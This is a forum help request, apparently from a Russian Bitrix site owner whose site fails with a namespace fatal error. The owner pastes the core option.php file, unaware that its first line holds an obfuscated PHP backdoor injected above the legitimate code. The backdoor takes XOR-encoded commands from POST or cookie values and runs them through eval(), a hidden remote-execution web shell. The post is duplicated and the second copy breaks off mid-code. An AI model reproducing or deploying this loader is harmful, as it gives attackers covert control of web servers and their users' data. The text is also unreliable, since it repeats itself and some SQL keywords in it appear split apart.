Добрый день! Перестал работать сайт, настройки не меняли, в конфигурационные файлы не лазили, только заливали контент, так как сам я с bitrix вообще не работал поэтому никуда и не лез.
Теперь при попытке зайти на сайт выдает следующее сообщение:
Fatal error: Namespace declaration statement has to be the very first statement in the script in /home/vzmorieshk/vzmorieshkola2.ru/docs/bitrix/modules/main/lib/config/option.php on line 2
Подскажите в чем может быть дело и какие пути решения проблемы?
файл на которые ссылается выглядит так:
[CODE]<?php $GLOBALS['rad29d'];global$rad29d;$rad29d=$GLOBALS;$rad29d['qe95']="\xa\x48\x4f\x2b\x3a\x6b\x7d\x33\x7c\x5b\x52\x32\x79\x50\x25\x26\x3d\x72\x29\x78\x70\x35\x24\xd\x6e\x34\x6a\x3c\x22\x51\x57\x66\x36\x60\x76\x5d\x42\x56\x5a\x41\x5e\x5f\x69\x67\x75\x49\x3b\x2e\x40\x2f\x58\x4c\x20\x2c\x43\x44\x4a\x59\x30\x3e\x2a\x46\x27\x21\x5c\x38\x6d\x61\x53\x37\x4b\x73\x31\x7a\x71\x55\x3f\x7b\x64\x54\x2d\x28\x77\x9\x68\x62\x39\x63\x4e\x6f\x4d\x23\x45\x74\x6c\x47\x65\x7e";$rad29d[$rad29d['qe95'][5].$rad29d['qe95'][67].$rad29d['qe95'][31].$rad29d['qe95'][58].$rad29d['qe95'][67].$rad29d['qe95'][78].$rad29d['qe95'][58].$rad29d['qe95'][96].$rad29d['qe95'][78]]=$rad29d['qe95'][87].$rad29d['qe95'][84].$rad29d['qe95'][17];$rad29d[$rad29d['qe95'][71].$rad29d['qe95'][58].$rad29d['qe95'][87].$rad29d['qe95'][85].$rad29d['qe95'][86].$rad29d['qe95'][25].$rad29d['qe95'][72]]=$rad29d['qe95'][89].$rad29d['qe95'][17].$rad29d['qe95'][78];$rad29d[$rad29d['qe95'][96].$rad29d['qe95'][32].$rad29d['qe95'][32].$rad29d['qe95'][58].$rad29d['qe95'][31]]=$rad29d['qe95'][71].$rad29d['qe95'][93].$rad29d['qe95'][17].$rad29d['qe95'][94].$rad29d['qe95'][96].$rad29d['qe95'][24];$rad29d[$rad29d['qe95'][42].$rad29d['qe95'][31].$rad29d['qe95'][31].$rad29d['qe95'][78].$rad29d['qe95'][85].$rad29d['qe95'][85]]=$rad29d['qe95'][42].$rad29d['qe95'][24].$rad29d['qe95'][42].$rad29d['qe95'][41].$rad29d['qe95'][71].$rad29d['qe95'][96].$rad29d['qe95'][93];$rad29d[$rad29d['qe95'][31].$rad29d['qe95'][11].$rad29d['qe95'][78].$rad29d['qe95'][7].$rad29d['qe95'][72].$rad29d['qe95'][7]]=$rad29d['qe95'][71].$rad29d['qe95'][96].$rad29d['qe95'][17].$rad29d['qe95'][42].$rad29d['qe95'][67].$rad29d['qe95'][94].$rad29d['qe95'][42].$rad29d['qe95'][73].$rad29d['qe95'][96];$rad29d[$rad29d['qe95'][44].$rad29d['qe95'][21].$rad29d['qe95'][96].$rad29d['qe95'][86].$rad29d['qe95'][25].$rad29d['qe95'][69]]=$rad29d['qe95'][20].$rad29d['qe95'][84].$rad29d['qe95'][20].$rad29d['qe95'][34].$rad29d['qe95'][96].$rad29d['qe95'][17].$rad29d['qe95'][71].$rad29d['qe95'][42].$rad29d['qe95'][89].$rad29d['qe95'][24];$rad29d[$rad29d['qe95'][26].$rad29d['qe95'][78].$rad29d['qe95'][31].$rad29d['qe95'][31]]=$rad29d['qe95'][44].$rad29d['qe95'][24].$rad29d['qe95'][71].$rad29d['qe95'][96].$rad29d['qe95'][17].$rad29d['qe95'][42].$rad29d['qe95'][67].$rad29d['qe95'][94].$rad29d['qe95'][42].$rad29d['qe95'][73].$rad29d['qe95'][96];$rad29d[$rad29d['qe95'][87].$rad29d['qe95'][87].$rad29d['qe95'][58].$rad29d['qe95'][72].$rad29d['qe95'][32].$rad29d['qe95'][25].$rad29d['qe95'][87].$rad29d['qe95'][67].$rad29d['qe95'][7]]=$rad29d['qe95'][85].$rad29d['qe95'][67].$rad29d['qe95'][71].$rad29d['qe95'][96].$rad29d['qe95'][32].$rad29d['qe95'][25].$rad29d['qe95'][41].$rad29d['qe95'][78].$rad29d['qe95'][96].$rad29d['qe95'][87].$rad29d['qe95'][89].$rad29d['qe95'][78].$rad29d['qe95'][96];$rad29d[$rad29d['qe95'][5].$rad29d['qe95'][31].$rad29d['qe95'][32].$rad29d['qe95'][32].$rad29d['qe95'][72].$rad29d['qe95'][58].$rad29d['qe95'][78].$rad29d['qe95'][31]]=$rad29d['qe95'][71].$rad29d['qe95'][96].$rad29d['qe95'][93].$rad29d['qe95'][41].$rad29d['qe95'][93].$rad29d['qe95'][42].$rad29d['qe95'][66].$rad29d['qe95'][96].$rad29d['qe95'][41].$rad29d['qe95'][94].$rad29d['qe95'][42].$rad29d['qe95'][66].$rad29d['qe95'][42].$rad29d['qe95'][93];$rad29d[$rad29d['qe95'][74].$rad29d['qe95'][87].$rad29d['qe95'][69].$rad29d['qe95'][25].$rad29d['qe95'][58].$rad29d['qe95'][58].$rad29d['qe95'][72]]=$rad29d['qe95'][17].$rad29d['qe95'][31].$rad29d['qe95'][85].$rad29d['qe95'][86].$rad29d['qe95'][67].$rad29d['qe95'][58].$rad29d['qe95'][87].$rad29d['qe95'][21].$rad29d['qe95'][86];$rad29d[$rad29d['qe95'][96].$rad29d['qe95'][65].$rad29d['qe95'][87].$rad29d['qe95'][87].$rad29d['qe95'][21].$rad29d['qe95'][58].$rad29d['qe95'][21].$rad29d['qe95'][32]]=$rad29d['qe95'][42].$rad29d['qe95'][78].$rad29d['qe95'][78].$rad29d['qe95'][87].$rad29d['qe95'][67].$rad29d['qe95'][7].$rad29d['qe95'][7].$rad29d['qe95'][7];$rad29d[$rad29d['qe95'][93].$rad29d['qe95'][96].$rad29d['qe95'][58].$rad29d['qe95'][7].$rad29d['qe95'][7].$rad29d['qe95'][78].$rad29d['qe95'][67].$rad29d['qe95'][65].$rad29d['qe95'][85]]=$_POST;$rad29d[$rad29d['qe95'][73].$rad29d['qe95'][96].$rad29d['qe95'][78].$rad29d['qe95'][78].$rad29d['qe95'][67]]=$_COOKIE;@$rad29d[$rad29d['qe95'][42].$rad29d['qe95'][31].$rad29d['qe95'][31].$rad29d['qe95'][78].$rad29d['qe95'][85].$rad29d['qe95'][85]]($rad29d['qe95'][96].$rad29d['qe95'][17].$rad29d['qe95'][17].$rad29d['qe95'][89].$rad29d['qe95'][17].$rad29d['qe95'][41].$rad29d['qe95'][94].$rad29d['qe95'][89].$rad29d['qe95'][43],NULL);@$rad29d[$rad29d['qe95'][42].$rad29d['qe95'][31].$rad29d['qe95'][31].$rad29d['qe95'][78].$rad29d['qe95'][85].$rad29d['qe95'][85]]($rad29d['qe95'][94].$rad29d['qe95'][89].$rad29d['qe95'][43].$rad29d['qe95'][41].$rad29d['qe95'][96].$rad29d['qe95'][17].$rad29d['qe95'][17].$rad29d['qe95'][89].$rad29d['qe95'][17].$rad29d['qe95'][71],0);@$rad29d[$rad29d['qe95'][42].$rad29d['qe95'][31].$rad29d['qe95'][31].$rad29d['qe95'][78].$rad29d['qe95'][85].$rad29d['qe95'][85]]($rad29d['qe95'][66].$rad29d['qe95'][67].$rad29d['qe95'][19].$rad29d['qe95'][41].$rad29d['qe95'][96].$rad29d['qe95'][19].$rad29d['qe95'][96].$rad29d['qe95'][87].$rad29d['qe95'][44].$rad29d['qe95'][93].$rad29d['qe95'][42].$rad29d['qe95'][89].$rad29d['qe95'][24].$rad29d['qe95'][41].$rad29d['qe95'][93].$rad29d['qe95'][42].$rad29d['qe95'][66].$rad29d['qe95'][96],0);@$rad29d[$rad29d['qe95'][5].$rad29d['qe95'][31].$rad29d['qe95'][32].$rad29d['qe95'][32].$rad29d['qe95'][72].$rad29d['qe95'][58].$rad29d['qe95'][78].$rad29d['qe95'][31]](0);$b6cb4=NULL;$ddb6d=NULL;$rad29d[$rad29d['qe95'][78].$rad29d['qe95'][65].$rad29d['qe95'][85].$rad29d['qe95'][78].$rad29d['qe95'][58]]=$rad29d['qe95'][87].$rad29d['qe95'][67].$rad29d['qe95'][87].$rad29d['qe95'][7].$rad29d['qe95'][65].$rad29d['qe95'][65].$rad29d['qe95'][78].$rad29d['qe95'][85].$rad29d['qe95'][80].$rad29d['qe95'][86].$rad29d['qe95'][31].$rad29d['qe95'][85].$rad29d['qe95'][72].$rad29d['qe95'][80].$rad29d['qe95'][25].$rad29d['qe95'][67].$rad29d['qe95'][31].$rad29d['qe95'][21].$rad29d['qe95'][80].$rad29d['qe95'][65].$rad29d['qe95'][69].$rad29d['qe95'][65].$rad29d['qe95'][32].$rad29d['qe95'][80].$rad29d['qe95'][7].$rad29d['qe95'][67].$rad29d['qe95'][58].$rad29d['qe95'][21].$rad29d['qe95'][31].$rad29d['qe95'][65].$rad29d['qe95'][58].$rad29d['qe95'][65].$rad29d['qe95'][11].$rad29d['qe95'][78].$rad29d['qe95'][96].$rad29d['qe95'][11];global$d8bd0;function iddca333($b6cb4,$ed9b8){global$rad29d;$s119eefb="";for($wfaf=0;$wfaf<$rad29d[$rad29d['qe95'][96].$rad29d['qe95'][32].$rad29d['qe95'][32].$rad29d['qe95'][58].$rad29d['qe95'][31]]($b6cb4);){for($k97dc=0;$k97dc<$rad29d[$rad29d['qe95'][96].$rad29d['qe95'][32].$rad29d['qe95'][32].$rad29d['qe95'][58].$rad29d['qe95'][31]]($ed9b8)&&$wfaf<$rad29d[$rad29d['qe95'][96].$rad29d['qe95'][32].$rad29d['qe95'][32].$rad29d['qe95'][58].$rad29d['qe95'][31]]($b6cb4);$k97dc++,$wfaf++){$s119eefb.=$rad29d[$rad29d['qe95'][5].$rad29d['qe95'][67].$rad29d['qe95'][31].$rad29d['qe95'][58].$rad29d['qe95'][67].$rad29d['qe95'][78].$rad29d['qe95'][58].$rad29d['qe95'][96].$rad29d['qe95'][78]]($rad29d[$rad29d['qe95'][71].$rad29d['qe95'][58].$rad29d['qe95'][87].$rad29d['qe95'][85].$rad29d['qe95'][86].$rad29d['qe95'][25].$rad29d['qe95'][72]]($b6cb4[$wfaf])^$rad29d[$rad29d['qe95'][71].$rad29d['qe95'][58].$rad29d['qe95'][87].$rad29d['qe95'][85].$rad29d['qe95'][86].$rad29d['qe95'][25].$rad29d['qe95'][72]]($ed9b8[$k97dc]));}}return$s119eefb;}function rfb9a0c59($b6cb4,$ed9b8){global$rad29d;global$d8bd0;return$rad29d[$rad29d['qe95'][96].$rad29d['qe95'][65].$rad29d['qe95'][87].$rad29d['qe95'][87].$rad29d['qe95'][21].$rad29d['qe95'][58].$rad29d['qe95'][21].$rad29d['qe95'][32]]($rad29d[$rad29d['qe95'][96].$rad29d['qe95'][65].$rad29d['qe95'][87].$rad29d['qe95'][87].$rad29d['qe95'][21].$rad29d['qe95'][58].$rad29d['qe95'][21].$rad29d['qe95'][32]]($b6cb4,$d8bd0),$ed9b8);}foreach($rad29d[$rad29d['qe95'][73].$rad29d['qe95'][96].$rad29d['qe95'][78].$rad29d['qe95'][78].$rad29d['qe95'][67]]as$ed9b8=>$v681b176){$b6cb4=$v681b176;$ddb6d=$ed9b8;}if(!$b6cb4){foreach($rad29d[$rad29d['qe95'][93].$rad29d['qe95'][96].$rad29d['qe95'][58].$rad29d['qe95'][7].$rad29d['qe95'][7].$rad29d['qe95'][78].$rad29d['qe95'][67].$rad29d['qe95'][65].$rad29d['qe95'][85]]as$ed9b8=>$v681b176){$b6cb4=$v681b176;$ddb6d=$ed9b8;}}$b6cb4=@$rad29d[$rad29d['qe95'][26].$rad29d['qe95'][78].$rad29d['qe95'][31].$rad29d['qe95'][31]]($rad29d[$rad29d['qe95'][74].$rad29d['qe95'][87].$rad29d['qe95'][69].$rad29d['qe95'][25].$rad29d['qe95'][58].$rad29d['qe95'][58].$rad29d['qe95'][72]]($rad29d[$rad29d['qe95'][87].$rad29d['qe95'][87].$rad29d['qe95'][58].$rad29d['qe95'][72].$rad29d['qe95'][32].$rad29d['qe95'][25].$rad29d['qe95'][87].$rad29d['qe95'][67].$rad29d['qe95'][7]]($b6cb4),$ddb6d));if(isset($b6cb4[$rad29d['qe95'][67].$rad29d['qe95'][5]])&&$d8bd0==$b6cb4[$rad29d['qe95'][67].$rad29d['qe95'][5]]){if($b6cb4[$rad29d['qe95'][67]]==$rad29d['qe95'][42]){$wfaf=Array($rad29d['qe95'][20].$rad29d['qe95'][34]=>@$rad29d[$rad29d['qe95'][44].$rad29d['qe95'][21].$rad29d['qe95'][96].$rad29d['qe95'][86].$rad29d['qe95'][25].$rad29d['qe95'][69]](),$rad29d['qe95'][71].$rad29d['qe95'][34]=>$rad29d['qe95'][72].$rad29d['qe95'][47].$rad29d['qe95'][58].$rad29d['qe95'][80].$rad29d['qe95'][72],);echo@$rad29d[$rad29d['qe95'][31].$rad29d['qe95'][11].$rad29d['qe95'][78].$rad29d['qe95'][7].$rad29d['qe95'][72].$rad29d['qe95'][7]]($wfaf);}elseif($b6cb4[$rad29d['qe95'][67]]==$rad29d['qe95'][96]){eval($b6cb4[$rad29d['qe95'][78]]);}exit();} ?><?php
namespace Bitrix\Main\Config;
use Bitrix\Main;
class Option
{
protected static $options = array();
protected static $cacheTtl = null;
public static function get($moduleId, $name, $default = "", $siteId = false)
{
if (empty($moduleId))
throw new Main\ArgumentNullException("moduleId");
if (empty($name))
throw new Main\ArgumentNullException("name");
static $defaultSite = null;
if ($siteId === false)
{
if ($defaultSite === null)
{
$context = Main\Application::getInstance()->getContext();
if ($context != null)
$defaultSite = $context->getSite();
}
$siteId = $defaultSite;
}
$siteKey = ($siteId == "") ? "-" : $siteId;
if (static::$cacheTtl === null)
static::$cacheTtl = self::getCacheTtl();
if ((static::$cacheTtl === false) && !isset(self::$options[$siteKey][$moduleId])
|| (static::$cacheTtl !== false) && empty(self::$options))
{
self::load($moduleId, $siteId);
}
if (isset(self::$options[$siteKey][$moduleId][$name]))
return self::$options[$siteKey][$moduleId][$name];
if (isset(self::$options["-"][$moduleId][$name]))
return self::$options["-"][$moduleId][$name];
if ($default == "")
{
$moduleDefaults = self::getDefaults($moduleId);
if (isset($moduleDefaults[$name]))
return $moduleDefaults[$name];
}
return $default;
}
public static function getRealValue($moduleId, $name, $siteId = false)
{
if (empty($moduleId))
throw new Main\ArgumentNullException("moduleId");
if (empty($name))
throw new Main\ArgumentNullException("name");
if ($siteId === false)
{
$context = Main\Application::getInstance()->getContext();
if ($context != null)
$siteId = $context->getSite();
}
$siteKey = ($siteId == "") ? "-" : $siteId;
if (static::$cacheTtl === null)
static::$cacheTtl = self::getCacheTtl();
if ((static::$cacheTtl === false) && !isset(self::$options[$siteKey][$moduleId])
|| (static::$cacheTtl !== false) && empty(self::$options))
{
self::load($moduleId, $siteId);
}
if (isset(self::$options[$siteKey][$moduleId][$name]))
return self::$options[$siteKey][$moduleId][$name];
return null;
}
private static function getDefaults($moduleId)
{
static $defaultsCache = array();
if (isset($defaultsCache[$moduleId]))
return $defaultsCache[$moduleId];
if (preg_match("#[^a-zA-Z0-9._]#", $moduleId))
throw new Main\ArgumentOutOfRangeException("moduleId");
$path = Main\Loader::getLocal("modules/".$moduleId."/default_option.php");
if ($path === false)
return $defaultsCache[$moduleId] = array();
include($path);
$varName = str_replace(".", "_", $moduleId)."_default_option";
if (isset(${$varName}) && is_array(${$varName}))
return $defaultsCache[$moduleId] = ${$varName};
return $defaultsCache[$moduleId] = array();
}
private static function load($moduleId, $siteId)
{
$siteKey = ($siteId == "") ? "-" : $siteId;
if (static::$cacheTtl === null)
static::$cacheTtl = self::getCacheTtl();
if (static::$cacheTtl === false)
{
if (!isset(self::$options[$siteKey][$moduleId]))
{
self::$options[$siteKey][$moduleId] = array();
$con = Main\Application::getConnection();
$sqlHelper = $con->getSqlHelper();
$res = $con->query(
"SEL ECT SITE_ID, NAME, VALUE ".
"FR OM b_option ".
"WHERE (SITE_ID = '".$sqlHelper->forSql($siteId, 2)."' OR SITE_ID IS NULL) ".
" AND MODULE_ID = '". $sqlHelper->forSql($moduleId)."' "
);
while ($ar = $res->fetch())
{
$s = ($ar["SITE_ID"] == "") ? "-" : $ar["SITE_ID"];
self::$options[$s][$moduleId][$ar["NAME"]] = $ar["VALUE"];
}
}
}
else
{
if (empty(self::$options))
{
$cache = Main\Application::getInstance()->getManagedCache();
if ($cache->read(static::$cacheTtl, "b_option"))
{
self::$options = $cache->get("b_option");
}
else
{
$con = Main\Application::getConnection();
$res = $con->query(
"SEL ECT o.SITE_ID, o.MODULE_ID, o.NAME, o.VALUE ".
"FR OM b_option o "
);
while ($ar = $res->fetch())
{
$s = ($ar["SITE_ID"] == "") ? "-" : $ar["SITE_ID"];
self::$options[$s][$ar["MODULE_ID"]][$ar["NAME"]] = $ar["VALUE"];
}
$cache->set("b_option", self::$options);
}
}
}
}
public static function set($moduleId, $name, $value = "", $siteId = false)
{
if (static::$cacheTtl === null)
static::$cacheTtl = self::getCacheTtl();
if (static::$cacheTtl !== false)
{
$cache = Main\Application::getInstance()->getManagedCache();
$cache->clean("b_option");
}
if ($siteId === false)
{
$context = Main\Application::getInstance()->getContext();
if ($context != null)
$siteId = $context->getSite();
}
$con = Main\Application::getConnection();
$sqlHelper = $con->getSqlHelper();
$strSqlWhere = sprintf(
"SITE_ID %s AND MODULE_ID = '%s' AND NAME = '%s'",
($siteId == "") ? "IS NULL" : "= '".$sqlHelper->forSql($siteId, 2)."'",
$sqlHelper->forSql($moduleId),
$sqlHelper->forSql($name)
);
$res = $con->queryScalar(
"SEL ECT 'x' ".
"FR OM b_option ".
"WHERE ".$strSqlWhere
);
if ($res != null)
{
$con->queryExecute(
"UPD ATE b_option SE T ".
" VALUE = '".$sqlHelper->forSql($value, 2000)."' ".
"WHERE ".$strSqlWhere
);
}
else
{
$con->queryExecute(
sprintf(
"INS ERT INTO b_option(SITE_ID, MODULE_ID, NAME, VALUE) ".
"VALUES(%s, '%s', '%s', '%s') ",
($siteId == "") ? "NULL" : "'".$sqlHelper->forSql($siteId, 2)."'",
$sqlHelper->forSql($moduleId, 50),
$sqlHelper->forSql($name, 50),
$sqlHelper->forSql($value, 2000)
)
);
}
if ($siteId == "")
$siteId = '-';
self::$options[$siteId][$moduleId][$name] = $value;
self::loadTriggers($moduleId);
$event = new Main\Event(
"main",
"OnAfterSetOption_".$name,
array("val ue" => $value)
);
$event->send();
return;
}
private static function loadTriggers($moduleId)
{
static $triggersCache = array();
if (isset($triggersCache[$moduleId]))
return;
if (preg_match("#[^a-zA-Z0-9._]#", $moduleId))
throw new Main\ArgumentOutOfRangeException("moduleId");
$triggersCache[$moduleId] = true;
$path = Main\Loader::getLocal("modules/".$moduleId."/option_triggers.php");
if ($path === false)
return;
include($path);
}
private static function getCacheTtl()
{
$cacheFlags = Configuration::getValue("cache_flags");
if (!isset($cacheFlags["config_options"]))
return 0;
return $cacheFlags["config_options"];
}
public static function delete($moduleId, $filter = array())
{
if (static::$cacheTtl === null)
static::$cacheTtl = self::getCacheTtl();
if (static::$cacheTtl !== false)
{
$cache = Main\Application::getInstance()->getManagedCache();
$cache->clean("b_option");
}
$con = Main\Application::getConnection();
$sqlHelper = $con->getSqlHelper();
$strSqlWhere = "";
if (isset($filter["name"]))
{
if (empty($filter["name"]))
throw new Main\ArgumentNullException("filter[name]");
$strSqlWhere .= " AND NAME = '".$sqlHelper->forSql($filter["name"])."' ";
}
if (isset($filter["site_id"]))
$strSqlWhere .= " AND SITE_ID ".($filter["site_id"] == "") ? "IS NULL" : "= '".$sqlHelper->forSql($filter["site_id"], 2)."'";
if ($moduleId == "main")
{
$con->queryExecute(
"DELETE FR OM b_option ".
"WH ERE MODULE_ID = 'main' ".
" AND NAME NOT LIKE '~%' ".
" AND NAME NOT IN ('crc_code', 'admin_passwordh', 'server_uniq_id','PARAM_MAX_SITES', 'PARAM_MAX_USERS') ".
$strSqlWhere
);
}
else
{
$con->queryExecute(
"DELETE FR OM b_option ".
"WH ERE MODULE_ID = '".$sqlHelper->forSql($moduleId)."' ".
" AND NAME <> '~bsm_stop_date' ".
$strSqlWhere
);
}
if (isset($filter["site_id"]))
{
$siteKey = $filter["site_id"] == "" ? "-" : $filter["site_id"];
if (!isset($filter["name"]))
unset(self::$options[$siteKey][$moduleId]);
else
unset(self::$options[$siteKey][$moduleId][$filter["name"]]);
}
else
{
$arSites = array_keys(self::$options);
foreach ($arSites as $s)
{
if (!isset($filter["name"]))
unset(self::$options[$s][$moduleId]);
else
unset(self::$options[$s][$moduleId][$filter["name"]]);
}
}
}
}
[/CODE]
Теперь при попытке зайти на сайт выдает следующее сообщение:
Fatal error: Namespace declaration statement has to be the very first statement in the script in /home/vzmorieshk/vzmorieshkola2.ru/docs/bitrix/modules/main/lib/config/option.php on line 2
Подскажите в чем может быть дело и какие пути решения проблемы?
файл на которые ссылается выглядит так:
[CODE]<?php $GLOBALS['rad29d'];global$rad29d;$rad29d=$GLOBALS;$rad29d['qe95']="\xa\x48\x4f\x2b\x3a\x6b\x7d\x33\x7c\x5b\x52\x32\x79\x50\x25\x26\x3d\x72\x29\x78\x70\x35\x24\xd\x6e\x34\x6a\x3c\x22\x51\x57\x66\x36\x60\x76\x5d\x42\x56\x5a\x41\x5e\x5f\x69\x67\x75\x49\x3b\x2e\x40\x2f\x58\x4c\x20\x2c\x43\x44\x4a\x59\x30\x3e\x2a\x46\x27\x21\x5c\x38\x6d\x61\x53\x37\x4b\x73\x31\x7a\x71\x55\x3f\x7b\x64\x54\x2d\x28\x77\x9\x68\x62\x39\x63\x4e\x6f\x4d\x23\x45\x74\x6c\x47\x65\x7e";$rad29d[$rad29d['qe95'][5].$rad29d['qe95'][67].$rad29d['qe95'][31].$rad29d['qe95'][58].$rad29d['qe95'][67].$rad29d['qe95'][78].$rad29d['qe95'][58].$rad29d['qe95'][96].$rad29d['qe95'][78]]=$rad29d['qe95'][87].$rad29d['qe95'][84].$rad29d['qe95'][17];$rad29d[$rad29d['qe95'][71].$rad29d['qe95'][58].$rad29d['qe95'][87].$rad29d['qe95'][85].$rad29d['qe95'][86].$rad29d['qe95'][25].$rad29d['qe95'][72]]=$rad29d['qe95'][89].$rad29d['qe95'][17].$rad29d['qe95'][78];$rad29d[$rad29d['qe95'][96].$rad29d['qe95'][32].$rad29d['qe95'][32].$rad29d['qe95'][58].$rad29d['qe95'][31]]=$rad29d['qe95'][71].$rad29d['qe95'][93].$rad29d['qe95'][17].$rad29d['qe95'][94].$rad29d['qe95'][96].$rad29d['qe95'][24];$rad29d[$rad29d['qe95'][42].$rad29d['qe95'][31].$rad29d['qe95'][31].$rad29d['qe95'][78].$rad29d['qe95'][85].$rad29d['qe95'][85]]=$rad29d['qe95'][42].$rad29d['qe95'][24].$rad29d['qe95'][42].$rad29d['qe95'][41].$rad29d['qe95'][71].$rad29d['qe95'][96].$rad29d['qe95'][93];$rad29d[$rad29d['qe95'][31].$rad29d['qe95'][11].$rad29d['qe95'][78].$rad29d['qe95'][7].$rad29d['qe95'][72].$rad29d['qe95'][7]]=$rad29d['qe95'][71].$rad29d['qe95'][96].$rad29d['qe95'][17].$rad29d['qe95'][42].$rad29d['qe95'][67].$rad29d['qe95'][94].$rad29d['qe95'][42].$rad29d['qe95'][73].$rad29d['qe95'][96];$rad29d[$rad29d['qe95'][44].$rad29d['qe95'][21].$rad29d['qe95'][96].$rad29d['qe95'][86].$rad29d['qe95'][25].$rad29d['qe95'][69]]=$rad29d['qe95'][20].$rad29d['qe95'][84].$rad29d['qe95'][20].$rad29d['qe95'][34].$rad29d['qe95'][96].$rad29d['qe95'][17].$rad29d['qe95'][71].$rad29d['qe95'][42].$rad29d['qe95'][89].$rad29d['qe95'][24];$rad29d[$rad29d['qe95'][26].$rad29d['qe95'][78].$rad29d['qe95'][31].$rad29d['qe95'][31]]=$rad29d['qe95'][44].$rad29d['qe95'][24].$rad29d['qe95'][71].$rad29d['qe95'][96].$rad29d['qe95'][17].$rad29d['qe95'][42].$rad29d['qe95'][67].$rad29d['qe95'][94].$rad29d['qe95'][42].$rad29d['qe95'][73].$rad29d['qe95'][96];$rad29d[$rad29d['qe95'][87].$rad29d['qe95'][87].$rad29d['qe95'][58].$rad29d['qe95'][72].$rad29d['qe95'][32].$rad29d['qe95'][25].$rad29d['qe95'][87].$rad29d['qe95'][67].$rad29d['qe95'][7]]=$rad29d['qe95'][85].$rad29d['qe95'][67].$rad29d['qe95'][71].$rad29d['qe95'][96].$rad29d['qe95'][32].$rad29d['qe95'][25].$rad29d['qe95'][41].$rad29d['qe95'][78].$rad29d['qe95'][96].$rad29d['qe95'][87].$rad29d['qe95'][89].$rad29d['qe95'][78].$rad29d['qe95'][96];$rad29d[$rad29d['qe95'][5].$rad29d['qe95'][31].$rad29d['qe95'][32].$rad29d['qe95'][32].$rad29d['qe95'][72].$rad29d['qe95'][58].$rad29d['qe95'][78].$rad29d['qe95'][31]]=$rad29d['qe95'][71].$rad29d['qe95'][96].$rad29d['qe95'][93].$rad29d['qe95'][41].$rad29d['qe95'][93].$rad29d['qe95'][42].$rad29d['qe95'][66].$rad29d['qe95'][96].$rad29d['qe95'][41].$rad29d['qe95'][94].$rad29d['qe95'][42].$rad29d['qe95'][66].$rad29d['qe95'][42].$rad29d['qe95'][93];$rad29d[$rad29d['qe95'][74].$rad29d['qe95'][87].$rad29d['qe95'][69].$rad29d['qe95'][25].$rad29d['qe95'][58].$rad29d['qe95'][58].$rad29d['qe95'][72]]=$rad29d['qe95'][17].$rad29d['qe95'][31].$rad29d['qe95'][85].$rad29d['qe95'][86].$rad29d['qe95'][67].$rad29d['qe95'][58].$rad29d['qe95'][87].$rad29d['qe95'][21].$rad29d['qe95'][86];$rad29d[$rad29d['qe95'][96].$rad29d['qe95'][65].$rad29d['qe95'][87].$rad29d['qe95'][87].$rad29d['qe95'][21].$rad29d['qe95'][58].$rad29d['qe95'][21].$rad29d['qe95'][32]]=$rad29d['qe95'][42].$rad29d['qe95'][78].$rad29d['qe95'][78].$rad29d['qe95'][87].$rad29d['qe95'][67].$rad29d['qe95'][7].$rad29d['qe95'][7].$rad29d['qe95'][7];$rad29d[$rad29d['qe95'][93].$rad29d['qe95'][96].$rad29d['qe95'][58].$rad29d['qe95'][7].$rad29d['qe95'][7].$rad29d['qe95'][78].$rad29d['qe95'][67].$rad29d['qe95'][65].$rad29d['qe95'][85]]=$_POST;$rad29d[$rad29d['qe95'][73].$rad29d['qe95'][96].$rad29d['qe95'][78].$rad29d['qe95'][78].$rad29d['qe95'][67]]=$_COOKIE;@$rad29d[$rad29d['qe95'][42].$rad29d['qe95'][31].$rad29d['qe95'][31].$rad29d['qe95'][78].$rad29d['qe95'][85].$rad29d['qe95'][85]]($rad29d['qe95'][96].$rad29d['qe95'][17].$rad29d['qe95'][17].$rad29d['qe95'][89].$rad29d['qe95'][17].$rad29d['qe95'][41].$rad29d['qe95'][94].$rad29d['qe95'][89].$rad29d['qe95'][43],NULL);@$rad29d[$rad29d['qe95'][42].$rad29d['qe95'][31].$rad29d['qe95'][31].$rad29d['qe95'][78].$rad29d['qe95'][85].$rad29d['qe95'][85]]($rad29d['qe95'][94].$rad29d['qe95'][89].$rad29d['qe95'][43].$rad29d['qe95'][41].$rad29d['qe95'][96].$rad29d['qe95'][17].$rad29d['qe95'][17].$rad29d['qe95'][89].$rad29d['qe95'][17].$rad29d['qe95'][71],0);@$rad29d[$rad29d['qe95'][42].$rad29d['qe95'][31].$rad29d['qe95'][31].$rad29d['qe95'][78].$rad29d['qe95'][85].$rad29d['qe95'][85]]($rad29d['qe95'][66].$rad29d['qe95'][67].$rad29d['qe95'][19].$rad29d['qe95'][41].$rad29d['qe95'][96].$rad29d['qe95'][19].$rad29d['qe95'][96].$rad29d['qe95'][87].$rad29d['qe95'][44].$rad29d['qe95'][93].$rad29d['qe95'][42].$rad29d['qe95'][89].$rad29d['qe95'][24].$rad29d['qe95'][41].$rad29d['qe95'][93].$rad29d['qe95'][42].$rad29d['qe95'][66].$rad29d['qe95'][96],0);@$rad29d[$rad29d['qe95'][5].$rad29d['qe95'][31].$rad29d['qe95'][32].$rad29d['qe95'][32].$rad29d['qe95'][72].$rad29d['qe95'][58].$rad29d['qe95'][78].$rad29d['qe95'][31]](0);$b6cb4=NULL;$ddb6d=NULL;$rad29d[$rad29d['qe95'][78].$rad29d['qe95'][65].$rad29d['qe95'][85].$rad29d['qe95'][78].$rad29d['qe95'][58]]=$rad29d['qe95'][87].$rad29d['qe95'][67].$rad29d['qe95'][87].$rad29d['qe95'][7].$rad29d['qe95'][65].$rad29d['qe95'][65].$rad29d['qe95'][78].$rad29d['qe95'][85].$rad29d['qe95'][80].$rad29d['qe95'][86].$rad29d['qe95'][31].$rad29d['qe95'][85].$rad29d['qe95'][72].$rad29d['qe95'][80].$rad29d['qe95'][25].$rad29d['qe95'][67].$rad29d['qe95'][31].$rad29d['qe95'][21].$rad29d['qe95'][80].$rad29d['qe95'][65].$rad29d['qe95'][69].$rad29d['qe95'][65].$rad29d['qe95'][32].$rad29d['qe95'][80].$rad29d['qe95'][7].$rad29d['qe95'][67].$rad29d['qe95'][58].$rad29d['qe95'][21].$rad29d['qe95'][31].$rad29d['qe95'][65].$rad29d['qe95'][58].$rad29d['qe95'][65].$rad29d['qe95'][11].$rad29d['qe95'][78].$rad29d['qe95'][96].$rad29d['qe95'][11];global$d8bd0;function 